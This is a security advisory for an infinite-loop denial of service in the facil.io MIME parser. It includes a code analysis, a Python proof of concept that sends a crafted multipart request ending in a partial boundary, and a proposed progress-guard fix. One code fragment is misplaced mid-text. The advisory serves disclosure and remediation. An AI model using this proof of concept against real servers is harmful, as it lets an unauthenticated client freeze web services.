
Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary)
Assigned CVE ID: CVE-2026-66730
Product: facil.io
Affected versions: facil.io >= 0.6.0 (all 0.6.x, all 0.7.x, master); introduced alongside the MIME parser in 0.6.0
Component: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Loop with Unreachable Exit Condition), CWE-400 (Uncontrolled Resource Consumption)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Researcher: Theodosis Paidakis
A multipart/form-data request whose body ends with a partial closing boundary (e.g., --B- instead of --B--\r\n) causes http_parse_body() to spin in an infinite loop at 100% CPU. The MIME parser returns 0 bytes consumed when it stalls on a partial boundary, but the calling loop checks only . Neither flag is set, so it re-invokes the parser on the same data forever. The server does not crash, so no worker is respawned. One unauthenticated POST request permanently freezes one worker.
!done && !errorThis is unrelated to CVE-2026-41146, which is an infinite loop in the JSON parser (fio_json_parser.h). This bug is in the MIME/multipart parser.
Part 1: No progress guard in the caller
lib/facil/http/http.c, lines 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
If http_mime_parse returns 0 and sets neither done nor error, p.pos stays fixed, fiobj_data_pread returns the same buffer, and the loop has no exit.
Part 2: When http_mime_parse returns 0
lib/facil/http/parsers/http_mime_parser.h, lines 314-329 and the consume_partial branch
The parser scans the value section for a complete boundary. When the body ends with \n--B- (four bytes shorter than a full closing boundary \n--B--\r\n), the scan finds \n followed by what looks like the start of a boundary but cannot confirm it is complete:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
On the next call, in_obj is already set. The consume_partial branch finds the same \n before --B-, then backs the return pointer up before any unconsumed data:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
pos ends up at or before where it started. The function returns 0. Back in the caller, cons = 0, p.pos does not move, and the cycle repeats.
Start the server, then run:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
Observed: server process at 99.7-100% CPU. kill -9 required to recover.
A frozen worker never exits, so no respawn occurs. With enough requests (equal to the worker count), the server stops serving all clients permanently until manually restarted. No authentication, no special headers, and no prior state are required.
Add a progress guard to the loop in http_parse_body:
lib/facil/http/http.c, lines 1963-1967
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);